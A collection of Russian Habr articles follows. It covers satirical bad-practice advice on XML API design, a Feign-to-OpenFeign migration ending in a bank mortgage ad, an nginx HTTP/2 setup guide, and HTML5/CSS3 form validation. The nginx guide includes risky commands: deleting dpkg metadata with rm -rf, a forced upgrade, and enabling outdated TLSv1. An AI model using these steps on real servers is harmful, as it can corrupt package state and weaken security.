Между тем, Google также подал заявки на .search, .app, .blog, .cloud и .map, Amazon подал заявки на .book и .amazon, но ICANN всё ещё не рассмотрел запросы на эти домены. | https://habr.com/ru/post/190424/ | null | ru | null |
# Как написать вредное API
*Пишите код так, как будто сопровождать его будет склонный к насилию психопат, который знает, где вы живёте.*
Всем привет!
Я работаю тимлидом команды Integration Development в сервисе онлайн-бронирования отелей [Ostrovok.ru](https://ostrovok.ru/?utm_source=habr&utm_medium=pr&utm_campaign=pecherkin_mar19) и сегодня хотел бы поделиться своим опытом работы с различными API.
Как разработчик системы, работающей с внешними поставщиками, я часто встречаюсь с различными API – чаще всего это SOAP/REST или что-то на них похожее. Однако от работы со многими из них остается впечатление, что их писали, не руководствуясь ни техническими правилами, ни здравым смыслом – как будто бы по книге “Вредные советы” Григория Остера. В данной статье я постараюсь описать такие случаи в стиле “вредных советов” и рассмотрю примеры, связанные с XML. Комментарии и обсуждение приветствуются.
##### Историческая справка
[SOAP](https://ru.wikipedia.org/wiki/SOAP) (от англ. Simple Object Access Protocol – простой протокол доступа к объектам) – протокол обмена структурированными сообщениями в распределённой вычислительной среде. Первоначально SOAP предназначался в основном для реализации удалённого вызова процедур (RPC). Сейчас протокол используется для обмена произвольными сообщениями в формате XML, а не только для вызова процедур.
#### Переходим к примерам
**1. Передача xml в url**
Чего больше всего хотят пользователи API? Конечно же, простоты, надёжности и лаконичности. Так давайте не будем читать тело запроса, а будем принимать XML как url-encoded информацию как параметр пути запроса! Что может быть лучше:
```
http://exapmple.com/xml/form.jsp?RequestName%3DHotelRequest2%26XML%3D%3C%3Fxml%2Bversion%3D%221.0%22%2Bencoding%3D%22UTF-8%22%3F%3E%0A%3CHotelRequest2%2BBuyerId%3D%22test%22%2BUserId%3D%22test%22%2BPassword%3D%22test%22%2BLanguage%3D%22en%22%2BHotel%3D%22-100%22%2BProductCode%3D%221--%22%2BArrivalDate%3D%2223.12.2018%22%2BDepartureDate%3D%2224.12.2018%22%2BArrivalTime%3D%22%22%2BDepartureTime%3D%22%22%2BCurrency%3D%222%22%2BWhereToPay%3D%223%22%2BNumberOfGuests%3D%220%22%2BNumberOfExtraBedsAdult%3D%220%22%2BNumberOfExtraBedsChild%3D%220%22%2BNumberOfExtraBedsInfant%3D%220%22%2B%2F%3E
```
Всё становится просто, и не надо вычитывать какое-то тело из запроса – мало ли, какие с ним могут быть проблемы.
**Спойлер**Я ума не приложу, почему так было сделано. Проблемы здесь следующие: у многих серверов есть ограничение на длину пути запроса, которое в них может пройти. Если XML будет большой по объёму данных, то можно вызвать ошибку 413 Entity Too Large как один из вариантов развития событий. Кроме того, увеличивается количество информации, так как мы производим url-encoding перед отправкой.
**2. Передача информации путём избыточной вложенности объектов данных**
Давайте подумаем, как бы сделать информацию в ответах как можно более сложнодоступной? Давайте использовать вложенные структуры, да ещё и в разных форматах! Сказано, сделано —
```
[{"someInfo":"base64Data"}]
```
Действительно, верхнеуровневый xml, внутри него ещё один xml, а внутри него json, в котором данные представлены в base64, а в нём снова json, и в нём уже будет нужная нам информация! Прекрасное решение, практически как из сказки про смерть Кощея, спрятанную в яйце.
**Спойлер**Один из самых заметных минусов — это замедление работы парсинга ответа, пока все вложенные структуры будут пройдены, а после может оказаться, что код ошибки зашит в json, а не уровнями выше. Я понимаю, что кодирование бинарных данных в base64 внутри xml/json – это распространённая практика, но кодирование другого формата внутри другого формата – это уже за гранью добра и зла.
**3. Добавление информации, не относящейся к данным запроса и не допустимой в рамках формата данных**
Предположим, к нам в теле запроса приходит XML, мы обрабатываем его и даем ответ. Выглядит слишком сложно для хорошо продуманной и высоконагруженной системы. Давайте обязуем пользователей присылать тип данных в теле запроса. Как же это сделать? Прямо в теле запроса, конечно же.
```
XML=
...
```
Вот таким простым способом мы всегда будем знать, что нам пришёл запрос в формате XML.
**Спойлер**Получается, к уже сформированному телу запроса мы должны добавить ещё лидирующие байты и только после этого можно будет сделать запрос. Повезёт, если не нужно будет менять лидирующие байты в зависимости от типа данных запроса. В таком случае лучше было бы использовать http Header для указания типа данных, а тело запроса не изменять.
**4. Дублирование данных без необходимости**
Предположим, у нас в структуре XML ответа есть очень-очень важная информация. Как показать это пользователю? Самое очевидное – давайте покажем её несколько раз в рамках ответа, тогда он точно обратит на неё внимание.
```
SomeName
Important
```
После этого конечный пользователь точно обратит внимание на поле Info.
**Спойлер**В данном случае я задумался и даже спросил у компании, предоставляющей API, о смысле поля Info и о том, будет ли отличаться информация в тегах различного уровня. Ответ мне был: нет, не будет – они дублируют друг друга. Зачем вводить пользователей в заблуждение и делать ответ более тяжёлым, если в этом нет необходимости?
**5. Передача параметров одного типа по отдельности, а не массивом**
Во одном из API, которые мы используем для поиска отелей, есть поля, обозначающие возраст гостей. Какой формат представления лучше всего использовать для передачи этой информации? Пусть формат будет таким: каждый возраст будет отдельным обязательным тегом XML, и значение 0 мы будем считать, как отсутствие этого параметра.
```
20
20
0
0
```
**Спойлер**Проблем здесь сразу несколько: нерасширяемость, излишняя информация, кроме того возраст действительно может равняться нулю, если гости – новорожденные дети. В данном случае нужно использовать массив, а не уникально именнованые теги.
**6. Пересылка информации из предыдущих запросов в рамках цепочки вызовов API**
Самое время подумать о безопасности нашего API. Как мы поймём, что пользователь получает информацию из наших предыдущих ответов? Пусть он присылает нам наш ответ, конечно же!
```
...
```
**Спойлер**Для продолжения работы с API нужно прислать именно весь ответ внешней системы с предыдущих шагов API, а не какие-то важные данные из него, и даже не хэш, который будет однозначно соответствовать этому ответу. Излишество данных во всей красе.
**7. Неиспользование маркеров случившейся ошибки, таких как тег ошибки или http-код**
Мы сделали наш прекрасный API и представили его миру. Но однажды что-то пошло не так, и мы не смогли сформировать ответ пользователю из-за внутренней ошибки. Что делать в таком случае? Просто дать шаблон ответа, без данных, без кодов ошибок или какой-либо другой информации. Никто не должен знать, что наш идеальный API может порой не работать!
Пример такого ответа:
```
```
– с кодом ответа 200 OK.
**Спойлер**Замалчивание случившихся ошибок — очень плохая практика. Проблема в том, что всё выглядит так, как будто проблем в ответе нет: тега нет, http статус говорит, что всё в порядке. В этом случае нужно делать дополнительную валидацию полученной информации, чтобы не произошло непредвиденных последствий уже в нашей системе.
**Заключение**
Несмотря на большое количество документации по работе с технологиям SOAP/XML и проектированию API, многие проблемы всё ещё актуальны, и некоторые решения противоречат здравому смыслу. Надеюсь, этой статьей мне удастся обратить внимание разработчиков на не самые удачные подходы, чтобы уменьшить их количество в будущем. | https://habr.com/ru/post/445346/ | null | ru | null |
# Как мы перевели API-модули микросервисного проекта с Feign на OpenFeign
Всем привет! Недавно мы решили задачу, как перейти на новую версию Spring + OpenFeign в мультимодульном проекте, в котором выделен API с навешенными аннотациями `@RestController` и `@FeignClient`. Я, Алексей Скакун [@hyragano](/users/hyragano) ведущий разработчик [ДОМ.РФ](https://xn--d1aqf.xn--p1ai/), поделюсь с вами этим кейсом.
Рассматриваем вариант организации кода при очищении модуля API в микросервисной архитектуре с использованием Spring Boot + Feign.
Наша цель — организовать переход между различными версиями Spring при использовании Feign-клиентов. Поэтому сосредоточимся именно на моменте отвязки от конкретной реализации Feign или OpenFeign.
Для исключения и минимизации межсервисных запросов микросервисную архитектуру лучше разрабатывать при правильном разделении контекстов. Но, к сожалению, так получается далеко не всегда.
* **Исходные данные:** ~100 микросервисов на Spring Boot 1.x и Spring Cloud 1.x.
* **Цель:** инкрементально перейти на Spring Boot 2.x и Spring Cloud 3.x
* **Ссылка на репозиторий**: [github.com/hyragano/msa-with-API](http://github.com/hyragano/msa-with-API)
Наша структура многомодульного проекта выглядела так:
**order-api** — контракт контроллеров или клиентов, DTO-шки и подготовленные Feign-клиенты.
**order-service** — реализует контракты order-api для обслуживания REST-запросов. По-простому — REST-контроллеры + весь остальной стандартный мир Spring-приложения.
Контракт order-api выглядит так:
```
package ru.domrf.order.client.tooold;
import java.util.UUID;
import org.springframework.cloud.netflix.feign.FeignClient;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import ru.domrf.order.API.dto.OrderDTO;
import ru.domrf.order.API.dto.RequestOrderDTO;
@FeignClient(
name = "order-service",
path = "/order",
url = "${order-service.url}")
public interface OrderApi {
@RequestMapping(value = "/{id}", method = RequestMethod.GET)
@Override
OrderDTO findOrderById(@PathVariable("id") UUID id);
@RequestMapping(method = RequestMethod.POST)
@Override
OrderDTO createOrder(@RequestBody RequestOrderDTO orderDTO);
}
```
API-модуль можно использовать в других микросервисах и имплементировать в контроллере. Декларируя API, мы позволяем другим разработчикам использовать наш API практически без приседаний. Пока не приходит время обновить наш фреймворк.
**С какой проблемой мы сталкиваемся:** в новые сервисы транзитивно попадают зависимости, несовместимые с имеющейся версией Spring. В частности, новые версии Feign-клиента могут не взлететь или подкинуть любимый нами jar-hell.
**Варианты решения этой проблемы:**
1. OpenAPI и прикрутить автогенерацию. Каждый клиент генерировать под свой фреймворк, язык и т. д.
2. Protobuf или другие форматы описания контрактов взаимодействия. Плюсы те же, что у OpenAPI.
3. Убрать вообще все синхронные вызовы, разделить контексты и сделать все по фэн-шую.
4. Перенести все DTO и вызовы в места их использования.
5. Обновить все микросервисы разом.
6. Попробовать очистить контракт и сделать несколько специализированных версий под разные версии Spring и Feign.
1, 2 и 3 — очень классные подходы, но требуют много времени и высокую квалификацию, чтобы выполнить всё в обозримые сроки и не нарушить работу системы. Мы же хотели улучшить положение дел более скромными ресурсами.
4 — хороший вариант, но мы теряем возможность давать пользователям клиенты из коробки. Требуется вносить изменения на уровне кода в местах использования.
5 — реально, если вся система — это несколько микросервисов. Нам это не подошло.
6 — путь, по которому можно пройти с наименьшими потерями. Его мы и выбрали.
**Реструктуризацией мы хотели добиться нескольких вещей:**
1. Предоставлять пользователям настроенные Feign- или OpenFeign-клиенты из коробки.
2. Подсказать разработчику, что для поддержания нескольких реализаций нужно создать пользователям клиент.
3. Постараться отказаться от деталей реализации. Привет дядюшке Бобу.
**Итак, приступим:**
Добавляем ещё 2 модуля уже с конкретными деталями — зависимостями.
Один модуль для клиента с новыми зависимостями, другой — для клиента со старыми.
**order-feign-client** — модуль со старыми версиями Feign-клиентов.
**order-open-feign-client —** модуль с новыми версиями Feign-клиентов — OpenFeign.
**order-api** — только контракты для клиентов и контроллеров + DTO.
В API вычищаем всё от конкретных атрибутов Spring. Теперь у нас контракт без деталей:
```
package ru.domrf.order.API.API;
import java.util.UUID;
import ru.domrf.order.API.dto.OrderDTO;
import ru.domrf.order.API.dto.RequestOrderDTO;
public interface OrderApi {
OrderDTO findOrderById(UUID id);
OrderDTO createOrder(RequestOrderDTO orderDTO);
}
```
Так выглядят клиенты для Feign:
```
package ru.domrf.order.client.tooold;
import java.util.UUID;
import org.springframework.cloud.netflix.feign.FeignClient;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import ru.domrf.order.API.API.OrderApi;
import ru.domrf.order.API.dto.OrderDTO;
import ru.domrf.order.API.dto.RequestOrderDTO;
@FeignClient(
name = "order-service",
path = "/order",
url = "${order-service.url}")
public interface OrderClientTooOldFeignVersion extends OrderApi {
@RequestMapping(value = "/{id}", method = RequestMethod.GET)
@Override
OrderDTO findOrderById(@PathVariable("id") UUID id);
@RequestMapping(method = RequestMethod.POST)
@Override
OrderDTO createOrder(@RequestBody RequestOrderDTO orderDTO);
}
```
И для новой версии Feign — OpenFeign:
```
package ru.domrf.order.client;
import java.util.UUID;
import org.springframework.cloud.openfeign.FeignClient;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import ru.domrf.order.API.API.OrderApi;
import ru.domrf.order.API.dto.OrderDTO;
import ru.domrf.order.API.dto.RequestOrderDTO;
@FeignClient(
value = "order-service",
path = "/order",
url = "${order-service.url}")
public interface OrderClient extends OrderApi {
@GetMapping("/{id}")
@Override
OrderDTO findOrderById(@PathVariable("id") UUID id);
@PostMapping
@Override
OrderDTO createOrder(@RequestBody RequestOrderDTO orderDTO);
}
```
Модули клиентов снабжаем автоконфигурируемыми бинами. Подробнее про автоконфигурации можно [почитать тут](https://habr.com/en/company/jugru/blog/424503). Теперь в микросервисах с этим API мы можем менять зависимость на соответствующую версии Spring + Feign.
Раньше во всех pom.xml зависимость прописывалась так:
```
ru.domrf.order
order-API
0.0.1-SNAPSHOT
```
Так стало для сервисов, которые мы переводим на новую версию Spring:
```
ru.domrf.order
order-open-feign-client
0.0.1-SNAPSHOT
```
Для всех ещё непереведённых сервисов мы просто меняем на:
```
ru.domrf.order
order-feign-client
0.0.1-SNAPSHOT
```
Этот подход мы стараемся использовать и для других shared артефактов.
В целом shared — зачастую зло и антипаттерн. Но такой подход всё равно встречается. Особенно, если приходится жить с вынужденным наследием предков в коде.
Эти технологии используются у нас в кредитном конвейере для автоматического принятия предварительных решений по кредитным заявкам. В мае в нашем Банке [ДОМ.РФ](http://xn--g0aqf.xn--s0ai) стартовала специальная льготная ипотечная программа для IT-специалистов с потенциально высоким спросом. Поэтому нам было особенно важно заранее улучшить и ускорить процесс. В наших условиях и временных рамках описанный метод оказался самым рабочим.
И пару слов об **ИТ-ипотеке**, вдруг ты именно сейчас в поисках самого выгодного предложения. Льготная программа рассчитана на сотрудников в возрасте от 22 до 45 лет аккредитованных российских IT-компаний. **Минимальная ставка – 4,3%.** Предложение распространяется только на первичный рынок жилья и действует до конца 2024 года. Такую ипотеку можно взять на покупку готовой или строящейся квартиры в новостройке, готового дома от застройщика или строительство частного дома. Первоначальный взнос – от 15% от стоимости недвижимости, а максимальный срок кредитования — 30 лет. Подать заявку на любую программу можно на [сайте](https://domrfbank.ru/mortgage/programs/mortgage-it/?utm_source=glavnaya&utm_medium=banner&utm_campaign=ipoteka_it) или в офисе Банка ДОМ.РФ. | https://habr.com/ru/post/666218/ | null | ru | null |
# Как я пытался включить http2 у себя на проекте с nginx
В общем, как я уже читал тут в комментах: «целые статьи пишут на то, как добавить 5 символов и пробел в конфиг». Все бы хорошо, если бы не google chrome. Они решили прекратить поддержку **SPDY** и **NPN**(кому интересно, вот комментарий [chromium](https://blog.chromium.org/2016/02/transitioning-from-spdy-to-http2.html) по этому поводу).
Для примера берем debian 8 на google cloud engine, ставим nginx, с помощью letsencrypt делаем сертификаты.
### Для тех, кто не умеет:
```
echo "deb http://ftp.debian.org/debian jessie-backports main" >> /etc/apt/sources.list
apt-get update
apt-get install certbot -t jessie-backports -y
certbot certonly --webroot -w /var/www/html -d domain.tld --email=your@email.tld --agree-tos #где /var/www/html - корень вашего сайта, который виден из вне
```
По итогу получаем такое:
> IMPORTANT NOTES:
>
> — Congratulations! Your certificate and chain have been saved at
>
> /etc/letsencrypt/live/http2.kricha.info/fullchain.pem. Your cert
>
> will expire on 2017-02-03. To obtain a new or tweaked version of
>
> this certificate in the future, simply run certbot again. To
>
> non-interactively renew \*all\* of your certificates, run «certbot
>
> renew»
то есть все ваши ключи будут лежать здесь /etc/letsencrypt/live/domain.tld/
```
# ls -la /etc/letsencrypt/live/http2.kricha.info/
total 8
drwxr-xr-x 2 root root 4096 Nov 5 17:53 .
drwx------ 3 root root 4096 Nov 5 17:53 ..
lrwxrwxrwx 1 root root 41 Nov 5 17:53 cert.pem -> ../../archive/http2.kricha.info/cert1.pem
lrwxrwxrwx 1 root root 42 Nov 5 17:53 chain.pem -> ../../archive/http2.kricha.info/chain1.pem
lrwxrwxrwx 1 root root 46 Nov 5 17:53 fullchain.pem -> ../../archive/http2.kricha.info/fullchain1.pem
lrwxrwxrwx 1 root root 44 Nov 5 17:53 privkey.pem -> ../../archive/http2.kricha.info/privkey1.pem
```
Добавляем всю эту красоту в конфиг nginx:
```
#let's encrypt certificates
ssl_certificate /etc/letsencrypt/live/domain.tld/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/domain.tld/privkey.pem;
ssl_trusted_certificate /etc/letsencrypt/live/domain.tld/chain.pem;
```
В итоге у вас должно получиться что-то такое:
```
server {
server_name domain.tld;
listen 443 ssl http2;
server_tokens off;
keepalive_timeout 70;
ssl_stapling on;
ssl_stapling_verify on;
resolver 127.0.0.1;
resolver_timeout 10s;
ssl on;
#let's encrypt certificates
ssl_certificate /etc/letsencrypt/live/domain.tld/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/domain.tld/privkey.pem;
ssl_trusted_certificate /etc/letsencrypt/live/domain.tld/chain.pem;
ssl_dhparam /etc/nginx/ssl/dhparam.pem;
ssl_session_timeout 1h;
ssl_session_cache shared:SSL:10m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_ciphers AES256+EECDH:AES256+EDH:!aNULL;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Frame-Options DENY;
add_header X-Content-Type-Options nosniff;
root /var/www/html;
index index.nginx-debian.html;
location / {
try_files $uri $uri/ =404;
}
error_log /var/log/nginx/domain.tld.error.log;
access_log /var/log/nginx/domain.tld.access.log;
}
server {
listen 80;
listen [::]:80;
server_name domain.tld;
return 301 https://$host$request_uri;
}
```
[VBart](https://habrahabr.ru/users/vbart/):
> В документации указано: nginx.org/ru/docs/http/ngx\_http\_core\_module.html#resolver
>
> Для предотвращения DNS-спуфинга рекомендуется использовать DNS-серверы в защищённой доверенной локальной сети.
>
> Встроенный резолвер заточен на производительность, при этом в жертву принесена безопасность.
еще можете взглянуть в файл
```
cat /etc/resolv.conf
nameserver 127.0.0.1
```
Возможно там указан уже сконфигурированный DNS-сервер. Проверить как он работает можно так:
```
nslookup example.org 127.0.0.1
```
или
```
dig example.org @127.0.0.1
```
[VBart](https://habrahabr.ru/users/vbart/):
> Обычно не установлен. Вместо полноценного DNS-сервера можно использовать DNS-форвардер, типа [dnsmasq](http://www.thekelleys.org.uk/dnsmasq/doc.html).
Чтоб сделать DHE:
```
cd /etc/nginx
mkdir ssl
openssl dhparam -out ssl/dhparam.pem 2048
```
Вроде бы все и можно делать *service nginx reload* но фиг нам :) Вы получите в ответ это: *Job for nginx.service failed. See 'systemctl status nginx.service' and 'journalctl -xn' for details.*, а в деталях:
```
ov 05 18:01:15 http2 systemd[1]: Failed to read PID from file /run/nginx.pid: Invalid argument
Nov 05 18:01:15 http2 systemd[1]: Started A high performance web server and a reverse proxy server.
Nov 05 18:14:27 http2 systemd[1]: Reloading A high performance web server and a reverse proxy server.
Nov 05 18:14:27 http2 nginx[24507]: nginx: [emerg] invalid parameter "http2" in /etc/nginx/sites-enabled/default:4
Nov 05 18:14:27 http2 systemd[1]: nginx.service: control process exited, code=exited status=1
Nov 05 18:14:27 http2 systemd[1]: Reload failed for A high performance web server and a reverse proxy server.
```
В общем, nginx вообще не понял чего мы от него хотели и хотим. Смотрим версию и оказывается **nginx version: nginx/1.6.2**, ладно, поставим последнюю версию.
### Установим свежую версию nginx
```
echo -e "deb http://nginx.org/packages/mainline/debian/ jessie nginx\ndeb-src http://nginx.org/packages/mainline/debian/ jessie nginx" >>/etc/apt/sources.list
rm -rf /var/lib/dpkg/info/nginx*
apt-get update
apt-get upgrade --force-yes -y
service nginx restart
```
Заходим в браузер, проверяем:
Видим **Статус HTTP/2.0 200**, радуемся, проверяем в хроме:
Видим **Protocol http/1.1**, грустим и ~~уходим плакать~~. Нет, конечно, не сдаемся, доливаем в стаканчик ром и продолжаем.
### Собираем правильный nginx
```
apt-get install libpcre3 libpcre3-dev libpcrecpp0 libssl-dev zlib1g-dev
cd /opt
wget http://nginx.org/download/nginx-1.11.5.tar.gz
wget https://www.openssl.org/source/openssl-1.0.2j.tar.gz
tar xf nginx-1.11.5.tar.gz
tar xf openssl-1.0.2j.tar.gz
cd nginx-1.11.5
./configure --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-compat --with-file-aio --with-threads --with-http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_mp4_module --with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-mail --with-mail_ssl_module --with-stream --with-stream_realip_module --with-stream_ssl_module --with-stream_ssl_preread_module --with-openssl=/opt/openssl-1.0.2j
make
make install
service nginx restart
```
Вместо make install можно собрать пакет:
```
apt-get install checkinstall -y
dpkg -i nginx_1.11.5-1_amd64.deb
```
Проверяем в хроме:
В сафари:
Везде видим, что используется протокол http2, проверяем еще на [www.ssllabs.com](http://www.ssllabs.com), получаем:
Профит! Доливаем себе ром и идем спать! Всем спасибо за внимание, надеюсь кому-то помог. | https://habr.com/ru/post/314474/ | null | ru | null |
# Развитие валидации форм
Валидация форм была педантичным занятием с момента появления web. Первой пришла серверная валидация. Затем она развилась в валидацию на стороне клиента для проверки результатов в браузере. Теперь у нас есть такие гиганты как HTML5 и CSS3: [глава о формах](http://www.w3.org/TR/html5/forms.html#client-side-form-validation) HTML5 предлагает нам новые типы для input полей и атрибуты, которые делают возможным проверку ограничений поля. [Базовый UI модуль](http://www.w3.org/TR/css3-ui/) CSS3 предоставляет несколько псевдо-классов, которые помогают нам стилизовать состояние валидности и менять внешний вид поля в зависимости от действий пользователя. Давайте взглянем на комбинацию обоих для создания валидатора форм основанного на CSS, который имеет достаточно широкую поддержку браузеров.
Чем больше мы можем дать подсказок пользователю, как правильно заполнять форму, в процессе заполнения, тем меньше шансов, что он сделает ошибку. Взгляните на [пример CSS3 валидации форм](http://www.alistapart.com/d/forward-thinking-form-validation/index.html) в браузере поддерживающем CSS3 UI псевдо-классы, например Chrome 4+, Safari 5+ или Opera 9.6+. Я использовал CSS3 UI псевдо-классы и HTML5 атрибуты форм для создания валидации основанной на CSS. Давайте посмотрим как это работает.
CSS3 UI псевдо-классы
---------------------
UI модуль содержит несколько псевдо-классов, которые помогают стилизовать поля формы в зависимости от их состояния.
* valid
* invalid
* required
* optional
* in-range
* out-of-range
* read-only
* read-write
В демо, показанном выше, я использовал псевдо-классы `required`, `invalid` и `valid` для выполнения проверки.
> `input:focus:required:invalid {
>
> background: pink url(ico\_validation.png) 379px 3px no-repeat;
>
> }
>
> input:required:valid {
>
> background-color: #fff;
>
> background-position: 379px -61px;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Так как мы хотим обозначить, что поле является не валидным только когда активно, мы используем псевдо-класс `focus`, чтобы вызвать стиль `invalid` для поля (Естественно, обозначать все обязательные поля как не валидные с самого начала будет плохим дизайнерским решением).
Для привлечение внимания к обязательным полям, не прошедшим проверку, вызывается стиль показывающий иконку с восклицательным знаком, который предупреждает пользователя о том, что что-то должно быть введено. После проверки поля, если оно проходит ограничения, вызывается псевдо-класс `valid`. Теперь мы удаляем псевдо-класс `focus`, чтобы зеленая галочка, обозначающая валидность поля, осталась.
Все значения псевдо-классов, перечисленных выше, говорят сами за себя. Псевдо-классы `in-range` и `out-of-range` должны использоваться в сочетании с атрибутами `min` и `max`, будь то поле `input[type=range]` или любое другое поле принимающее эти атрибуты. Например, если пользователь вводит значение, выходящее за ограничения, мы можем использовать псевдо-класс для изменения стиля, учитывающий это состояние. Кроме того, мы можем сделать то же самое в случае попадания значения в диапазон ограничений.
В данный момент псевдо-классы range поддерживает только Opera. В ближайшее время поддержка появится и у других браузеров.
Дополнительные типы и атрибуты помогающие нам
---------------------------------------------
В HTML5 формы, также внедрены новые типы `input`, такие как `email`, `url` и `number`. К примеру `email` вызывает псевдо-класс `valid` когда пользователь вводит корректный e-mail адрес, тоже самое происходит и для полей `numer` и `url`. Проверка поля `url` отличается в разных браузерах. В Opera набрав `"http://"` поле обозначается валидным, в Crome `"http://w"`, а в Safari, просто набрав `"http:"`.
Есть еще несколько атрибутов помогающих в проверке поля, такие как `placeholder`, `required`, `maxlength`, `pattern`, `min`, `max` и `step`.
> `<input id="postcode" name="postcode" type="number" min="1001" max="8000" maxlength="4" required />
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Поле postcode использует новый тип `number` и несколько новых атрибутов. В Австралии почтовый индекс может состоять, только из 4 цифр, поэтому мы устанавливаем атрибут `maxlength`, чтобы ограничить его. Мы так же хотим ограничить максимальное и минимальное значение индекса, для этого используются атрибуты `min` и `max`. Атрибут `required` говорит сам за себя(обязательное поле).
Мы можем использовать атрибут `step`, для большего ограничания совместно с `min` и `max`. По умолчанию step установлен в единицу. Поэтому любое число установленное в диапазоне между `min` и `max` является валидным. Если изменить значение `step` на 100, то будет проверяться значение в границах от `min` до `max` с шагом 100. Например атрибут `step` будет валиден при значениях поля 1001, 1101, 1201, 1301 и тд.
Поиск образца
-------------
Чтобы вызывать псевдо-класс `invalid` у поля с более специфичными ограничениями, например у поля номер телефона, мы можем использовать атрибут `pattern`, который позволяет применять регулярные выражения для проверки значения поля.
> `<input type="tel" id="tel" name="tel" pattern="\d{10}" placeholder="Please enter a ten digit phone number" required />
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В данном примере, регулярное выражение очень простое, «Я принимаю только 10 цифр и ничего больше». Таким образом, поле будет невалидным, пока не выполнится регулярное выражение. Обратите внимание, что я использовал атрибут `placeholder`, чтобы дать подсказку пользователю.
В реальности мы можем задать более мощные условия в значение атрибута `pattern`, путем добавления, более сложных регулярных выражений, например для поля пароль:
> `<input id="password" name="password" type="password" title="Minimum 8 characters, one number, one uppercase and one lowercase letter" required pattern="(?=^.{8,}$)((?=.\*\d)|(?=.\*\W+))(?![.\n])(?=.\*[A-Z])(?=.\*[a-z]).\*" />
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь мы имеем более строгие ограничения, что позволяет заставить пользователя ввести более безопасный пароль. Пароль должен быть не менее 8 символов, содержать одно число, одну строчную и одну заглавную букву.
Чтобы помочь пользователю, мы используем атрибут `title`. Мы не используем атрибут `placeholder` в данном случае, так как он предназначен только для коротких сообщений.
Добавление полезных советов
---------------------------
Если пользователь не наведет курсор на поле, он никогда не увидит дополнительных инструкций в атрибуте `title`. Вы можете заметить, что для полей `phone`, `postcode` и `password` появляются полезные подсказки, это помогает, когда пользователь нуждается в дополнительных инструкциях.
> `<input id="password" type="password" />
>
> <p class="validation01">
>
> <span class="invalid">Minimum 8 characters, one number, one uppercase letter and one lowercase letterspan>
>
> <span class="valid">Your password meets our requirements, thank you.span>
>
> p>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Разметка выше, содержит дополнительные контейнеры для обоих состояний — поле валидно и не валидно. Таким образом, когда поле не валидно, оно будет содержать информацию, которая поможет пользователю ввести корректные данные. Когда все верно, наше сообщение и зеленая галочка убеждают его в том, что поле заполнено верно.
> `.validation01 {
>
> background: red;
>
> color: #fff;
>
> display: none;
>
> font-size: 12px;
>
> padding: 3px;
>
> position: absolute;
>
> right: -110px;
>
> text-align: center;
>
> top: 0;
>
> width: 100px;
>
> }
>
> input:focus + .validation01 {
>
> display: block;
>
> }
>
> input:focus:required:valid + .validation01 {
>
> background: green;
>
> }
>
> input:focus:required:valid + .validation01 .invalid {
>
> display: none;
>
> }
>
> input:focus:required:invalid + .validation01 .valid {
>
> display: none;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Чтобы показать или скрыть подсказку, в зависимости от состояния поля, мы можем указать полю цепочку псевдо-классов с добавлением соседнего элемента, содержащего нужную подсказку. После того, как поле было заполнено верно цвет фона изменяется на зеленый и показывается соответствующее сообщение.
UX проблемы этого подхода
-------------------------
Существует одна главная проблема в использовании псевдо-класса invalid, когда поле является обязательным и существуют дополнительные условия, которые должны быть выполнены. Например когда поле обязательное и его тип email, оно будет не валидно, пока все его условия не выполнены и будут использоваться стили для `invalid` с самого начала, еще до того, как пользователь ввел что либо. Вот почему мы использовали псевдо-класс `focus`, что бы показать стили `invalid`, только когда это поле в фокусе. Это не оптимальное решение: если пользователь уходит из этого поля, не выполнив требования валидатора, не будет показано, что данные введены не корректно, до тех пор, пока он не вернется к редактированию этого поля.
Решением этого былобы добавление [*неопределенного* псевдо-класса](http://www.w3.org/TR/css3-selectors/#indeterminate), доступного для `radio` и `checkbox` `input`. Технически, поля имеющие больше условий, чем просто required, пока пусты не являются ни валидными, ни не валидными, а скорее неопределенными. Эта идея может исправить состояние `invalid` и позволит применять оптимальные стили для полей в зависимости от состояния валидации.
Кроме того, мы можем сделать некоторую довольно большую функционатьность без JavaScript. Мы можем сказать какое состояние у поля если оно в фокусе, если требуется, сказать ему соответствовать определенному шаблону, заданному в регулярном выражении, указать минимальные и максимальные значения и многое другое. Но что если этого не достаточно? Что если мы хотим большего? К счастью глава о формах HTML5 так же определяет [API проверки ограничений валидации](http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#the-constraint-validation-api).
API проверки ограничений валидации
----------------------------------
